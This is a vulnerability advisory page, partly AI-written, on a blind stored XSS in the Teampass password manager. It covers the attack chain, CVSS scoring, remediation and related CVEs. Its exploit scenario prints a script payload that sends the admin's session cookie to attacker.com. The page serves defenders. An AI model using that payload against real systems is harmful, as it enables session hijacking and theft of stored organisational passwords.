Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSubmit malicious JavaScript in login form parameter
-
ExploitScript stored in failed login logs
-
ExecutionAdministrator views login attempts
-
ImpactArbitrary code executes in admin browser
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Teampass versions prior to 3.1.5.16. Attacker submits malicious JavaScript in the username field during login to /index.php. Administrator must view failed login attempt logs in the application dashboard to trigger stored XSS execution in their browser. |
| Impact | Real-world risk is substantial despite no confirmed active exploitation. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) indicates network-accessible attacks requiring no authentication, low complexity, and no user interaction for initial injection, though the blind nature means administrative interaction occurs later during log review. The 9.3 severity reflects high confidentiality and integrity impact potential, as successful exploitation grants JavaScript execution in privileged administrator contexts. EPSS data not provided, but the attack pattern is well-understood and easily automated. The vulnerability affects a password management system-a high-value target where XSS can expose stored credentials for entire organizations. Authentication not required for injection significantly lowers the barrier to exploitation. Mitigation priority should be high for any Teampass deployment, particularly internet-facing instances or those used in multi-user environments where administrators regularly audit authentication logs. The availability of a vendor patch and public disclosure by INCIBE increases likelihood of future exploitation attempts. |
| Exploit ScenarioDerived | An unauthenticated attacker crafts a malicious login request to the Teampass instance, injecting JavaScript payload into the username field such as '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' and submitting with an invalid password to trigger authentication failure. The malicious input is stored in the failed login log without sanitization. Hours or days later, a Teampass administrator accesses the administrative dashboard to review security events and failed authentication attempts. When the log entry containing the malicious username is rendered in the administrator's browser, the JavaScript executes automatically with the administrator's session privileges, exfiltrating session cookies to the attacker-controlled server. The attacker then uses stolen session tokens to access the Teampass instance as the administrator, gaining access to all stored organizational passwords. The blind nature makes detection difficult as the administrator may not realize their session was compromised through routine log review activities. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 31, 2026
Blind Cross-Site Scripting in Teampass password manager versions prior to 3.1.5.16 allows unauthenticated remote attackers to execute arbitrary JavaScript in administrator browsers via malicious username input during failed login attempts. The vulnerability achieves high confidentiality and integrity impact (CVSS 9.3) because malicious code is stored and automatically executed when administrators review failed authentication logs, enabling potential session hijacking, credential theft, or administrative account compromise. No active exploitation confirmed via CISA KEV, though the attack requires no authentication and minimal complexity.
RemediationAI
Immediately upgrade Teampass to version 3.1.5.16 or later, which addresses this vulnerability along with other security issues identified by INCIBE. Download the patched version from the official Teampass repository and follow standard upgrade procedures including database backup prior to migration. Review administrator session logs and browser history for indicators of exploitation, particularly unexpected JavaScript execution or unauthorized administrative actions following authentication failure log reviews. If immediate patching is not feasible, implement Web Application Firewall rules to filter script tags and JavaScript event handlers from login form parameters, though this is an imperfect workaround. Restrict administrative interface access to trusted IP ranges and implement Content Security Policy headers to limit inline script execution. Complete advisory with additional vulnerability details available at https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-teampass.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Teampass is an open-source collaborative password manager built on PHP and MySQL. This vulnerability stems from improper input validation and output encoding (CWE-79) in the authentication handler at index.php. When processing failed login attempts, the application accepts arbitrary input in the 'contraseña' (password) parameter and username field without sanitization, then renders this unsanitized data in the administrative interface where login failure logs are displayed. The blind XSS nature means the payload executes in a different user context (administrator) than where it was injected (login form), making it particularly dangerous as administrators routinely review authentication logs for security monitoring. The affected CPE (cpe:2.3:a:teampass:teampass) indicates all Teampass installations below version 3.1.5.16 are vulnerable regardless of deployment configuration.
Know when Teampass gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
Blind Cross-Site Scripting (XSS) in Teampass, versions prior to 3.1.5.16, within the password manager login functionality in the 'contraseña' parameter of the login form 'redacted/index.php'. During failed authentication attempts, the application does not properly clean or encode the information entered by the user in the username field. As a result, arbitrary JavaScript code is automatically executed in the administrator's browser when viewing failed login entries, resulting in a blind XSS condition.
Executive ViewAI
Teampass password manager versions before 3.1.5.16 contain a critical blind cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious code into failed login logs, which executes when administrators review those logs. This directly threatens credential theft and administrative account compromise, making it a severe risk to your organization's password management infrastructure and privileged access controls.
Apply vendor patch (Teampass 3.1.5.16 or later). If immediate patching is not possible: restrict failed login log access to designated security personnel only, disable public login pages if not operationally required, implement rate-limiting on login attempts to reduce injection opportunities, and monitor Teampass administrator accounts for unauthorized access indicators.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in Teampass XSS Vulnerabilities
View all 2Multiple SQL injection vulnerabilities in TeamPass 2.1.24 and earlier allow remote attackers to execute arbitrary SQL co
Cross-site Scripting (XSS) - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.9. Rated critical severit
Cross-site request forgery (CSRF) vulnerability in TeamPass 2.1.24 and earlier allows remote attackers to hijack the aut
Code Injection in GitHub repository nilsteampassnet/teampass prior to 3.0.9. Rated high severity (CVSS 8.8), this vulner
TeamPass 2.1.27.36 allows any authenticated TeamPass user to trigger a PHP file include vulnerability via a crafted HTTP
Cross-site Scripting (XSS) - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.9. Rated high severity (C
TeamPass before 2.1.27.9 does not properly enforce item access control when requesting items.queries.php. Rated high sev
Cross-site Scripting (XSS) - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.9. Rated high severity (C
Lack of authorization controls in REST API functions in TeamPass through 2.1.27.36 allows any TeamPass user with a valid
An arbitrary file upload vulnerability, present in TeamPass before 2.1.27.9, allows remote authenticated users to upload
Multiple SQL injection vulnerabilities in TeamPass before 2.1.20 allow remote attackers to execute arbitrary SQL command
TeamPass before 2.1.20 allows remote attackers to bypass access restrictions via a request to index.php followed by a di
EUVD-2026-17345
NVD
CVE.org
EPSS
Vulnrichment
GitHub PoC
Exploit-DB